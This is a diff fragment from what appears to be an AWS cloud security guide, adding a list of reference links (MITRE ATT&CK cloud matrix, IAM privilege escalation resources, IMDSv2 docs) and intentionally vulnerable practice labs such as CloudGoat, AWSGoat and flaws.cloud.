|
|
852
|
+
- **AWS Security Blog**: https://aws.amazon.com/blogs/security/
|
|
853
|
+
- **MITRE ATT&CK Cloud Matrix**: https://attack.mitre.org/matrices/enterprise/cloud/
|
|
854
|
+
- **CloudGoat** (vulnerable AWS environment for practice): https://github.com/RhinoSecurityLabs/cloudgoat
|
|
855
|
+
- **AWSGoat** (vulnerable AWS environment): https://github.com/ine-labs/AWSGoat
|
|
856
|
+
- **Ermetic IAM Privilege Escalation**: https://ermetic.com/blog/aws/aws-iam-privilege-escalation-techniques/
|
|
857
|
+
- **Bishop Fox — CloudFox Wiki**: https://github.com/BishopFox/cloudfox/wiki
|
|
858
|
+
- **AWS Documentation — IMDSv2**: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
|
|
859
|
+
- **tl;dr sec — AWS Security**: https://tldrsec.com/tags/aws/
|
|
860
|
+
|
|
861
|
+
### Practice Environments
|
|
862
|
+
- **CloudGoat**: `pip3 install cloudgoat && cloudgoat create iam_privesc_by_attachment`
|
|
863
|
+
- **AWSGoat**: Terraform-deployable intentionally vulnerable AWS infrastructure
|
|
864
|
+
- **flaws.cloud**: http://flaws.cloud — beginner AWS security challenge
|
|
865
|
+
- **flaws2.cloud**: http://flaws2.cloud — intermediate AWS security challenge (attacker + defender paths)
|